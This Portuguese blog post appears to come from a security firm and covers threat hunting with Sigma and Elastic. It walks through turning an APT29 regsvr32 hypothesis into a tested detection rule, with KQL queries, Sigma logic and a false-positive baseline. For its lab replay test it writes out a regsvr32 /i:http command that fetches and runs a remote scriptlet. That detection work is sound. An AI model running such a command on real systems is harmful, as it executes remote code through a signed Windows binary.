Threat Hunting com Sigma e Elastic: Do Indicador a Regra de Deteccao
Como transformar hipoteses de ataque em regras Sigma testadas no Elastic, com pipeline de validacao reproduzivel em lab.
Threat hunting nao e ficar olhando dashboards bonitos esperando algo piscar vermelho. Comeca com uma hipotese feia, escrita a mao: 'um atacante usou rundll32 para carregar uma DLL fora de C:\Windows'. Na Basilisk OffSec a gente trata cada caca como um pequeno experimento cientifico: hipotese, dado coletado, query, falseamento. O resultado final, quando vale a pena, vira regra Sigma versionada no Git. Esse post mostra o ciclo completo que rodamos contra um lab Windows 11 com Sysmon 15 e Elastic 8.13, partindo de um indicador cru ate uma deteccao com taxa de falso positivo medida.
Antes de escrever qualquer regra, precisamos ver telemetria de verdade. Subimos um lab com tres VMs: Windows 11 com Sysmon (config SwiftOnSecurity modificada), um Domain Controller minimo seguindo nosso Active Directory Pentest: Kerberoasting Passo a Passo em Lab GOAD, e um Elastic single-node com Fleet. Para gerar comportamento malicioso de forma controlada usamos Caldera com TTPs do ATT&CK, conforme detalhado em Adversary Emulation com Caldera e MITRE ATT&CK em Lab Corporativo. Cada execucao produz cerca de 4 mil eventos por minuto, o suficiente para descobrir que sua 'regra precisa' na verdade tem ruido absurdo quando o usuario abre o Teams.
A hipotese desse exemplo nasceu de um relatorio publico: o grupo APT29 usou regsvr32 com /s /u /i e URL HTTP para baixar payload. Antes de virar Sigma, validamos no Discover do Elastic com KQL: process.name:regsvr32.exe and process.command_line:(*\/i\:http* or *\/i\:\\\\*). Encontramos 12 hits em 7 dias, todos legitimos (instaladores corporativos). Esse e o momento que separa hunter de gerador de alerta inutil: enriquecer com process.parent.name e file.signature.signed. Tecnicas correlatas de abuso de binarios assinados aparecem no nosso Hunting de Living-off-the-Land Binaries no Windows com KQL, que e leitura obrigatoria antes de seguir.
Com a query refinada, traduzimos para Sigma YAML. A regra ficou com title, status experimental, logsource category process_creation e product windows, detection com selection_img (Image endswith \regsvr32.exe), selection_cli (CommandLine contains all: ['/i:', '://']) e filter_signed (Signed: true) na condition selection_img and selection_cli and not filter_signed. Convertemos com sigma convert -t lucene -p ecs_windows regra.yml e obtemos a query Elastic pronta. Esse fluxo de pipeline e o mesmo que usamos no ciclo descrito em Purple Team na Pratica: Construindo Ciclo de Feedback Red x Blue, onde o Red entrega TTPs e o Blue devolve coverage.
Testar uma regra Sigma sem replay e fe cega. Geramos eventos reais executando regsvr32 /s /u /i:http://10.10.0.5/payload.sct scrobj.dll dentro do lab, capturamos com Winlogbeat e medimos: tempo ate alerta no Elastic Security foi 14 segundos, com zero falso positivo em 72 horas de baseline. Quando movemos para producao simulada (200 endpoints), apareceu 1 FP por dia vindo de um update da McAfee usando /i: com path local. Ajustamos o filter para excluir CommandLine contendo C:\Program Files. Esse tipo de iteracao tambem aparece em movimento lateral, abordado em Lateral Movement em Lab: SMB, WMI e WinRM com Foco em Deteccao.
Documentacao mata regra orfa. Cada Sigma no nosso repo tem campos customizados: hypothesis, datasource_required, attack_id (T1218.010), false_positive_rate_observed, last_tested, e link para o pcap/EVTX usado no teste. Versionamos no GitLab com pipeline que roda sigma check, depois sigma convert para Elastic, Splunk e Chronicle, e publica via API do Kibana usando detection_engine/rules/_import. Falhou conversao? Pipeline quebra. Essa disciplina e o que separa um SOC que evolui de um que coleciona PDFs. Para visibilidade complementar de DFIR rapida apos um hit, recomendamos a abordagem em DFIR no Linux: Triagem ao Vivo com UAC e Velociraptor adaptada para Windows com KAPE.
O takeaway pratico: nao escreva Sigma para indicadores que voce nunca viu nos seus dados. Comece sempre rodando o TTP no seu lab, conte os eventos gerados, conte os eventos legitimos parecidos, e so entao escreva a regra. Meta interna na Basilisk: nenhuma regra entra em producao sem 7 dias de baseline e taxa de FP medida abaixo de 1 por 10 mil eventos da fonte. Comece amanha com uma hipotese pequena, uma query, e um YAML. Em tres meses voce tera 30 deteccoes que funcionam, no lugar de 300 que so geram fadiga.